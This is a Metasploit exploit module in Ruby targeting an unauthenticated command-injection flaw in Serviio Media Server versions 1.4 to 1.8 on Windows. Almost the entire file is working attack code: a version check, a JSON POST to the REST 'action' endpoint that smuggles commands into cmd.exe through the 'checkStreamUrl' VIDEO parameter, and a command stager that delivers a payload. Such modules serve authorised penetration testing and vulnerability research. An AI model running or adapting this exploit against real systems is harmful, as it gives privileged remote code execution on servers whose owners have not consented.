## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Restlet-Framework/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Serviio Media Server checkStreamUrl Command Execution', 'Description' => %q{ This module exploits an unauthenticated remote command execution vulnerability in the console component of Serviio Media Server versions 1.4 to 1.8 on Windows operating systems. The console service (on port 23423 by default) exposes a REST API which which does not require authentication. The 'action' API endpoint does not sufficiently sanitize user-supplied data in the 'VIDEO' parameter of the 'checkStreamUrl' method. This parameter is used in a call to cmd.exe resulting in execution of arbitrary commands. This module has been tested successfully on Serviio Media Server versions 1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7. }, 'License' => MSF_LICENSE, 'Author' => [ 'Gjoko Krstic(LiquidWorm) ', # Discovery and exploit 'Brendan Coles ', # Metasploit ], 'References' => [ ['OSVDB', '41961'], ['PACKETSTORM', '142387'], ['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5408.php'], ['URL', 'https://blogs.securiteam.com/index.php/archives/3094'] ], 'Platform' => 'win', 'Targets' => [ ['Automatic Targeting', { 'auto' => true }] ], 'Privileged' => true, 'DisclosureDate' => 'May 3 2017', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(23423) ]) end def check res = execute_command('') unless res vprint_status 'Connection failed' return CheckCode::Unknown end if res.headers['Server'] !~ /Serviio/ vprint_status 'Target is not a Serviio Media Server' return CheckCode::Safe end if res.headers['Server'] !~ /Windows/ vprint_status 'Target operating system is not vulnerable' return CheckCode::Safe end if res.code != 200 || res.body !~ %r{603} vprint_status 'Unexpected reply' return CheckCode::Safe end if res.headers['Server'] =~ %r{Serviio/(1\.[4-8])} vprint_status "#{peer} Serviio Media Server version #{$1}" return CheckCode::Appears end CheckCode::Safe end def execute_command(cmd, opts = {}) data = { 'name' => 'checkStreamUrl', 'parameter' => ['VIDEO', "\" &#{cmd}&"] } send_request_cgi('uri' => normalize_uri(target_uri.path, 'rest', 'action'), 'method' => 'POST', 'ctype' => 'application/json', 'data' => data.to_json) end def exploit fail_with(Failure::NotVulnerable, 'Target is not vulnerable') unless check == CheckCode::Appears execute_cmdstager(:temp => '.', :linemax => 8000) end end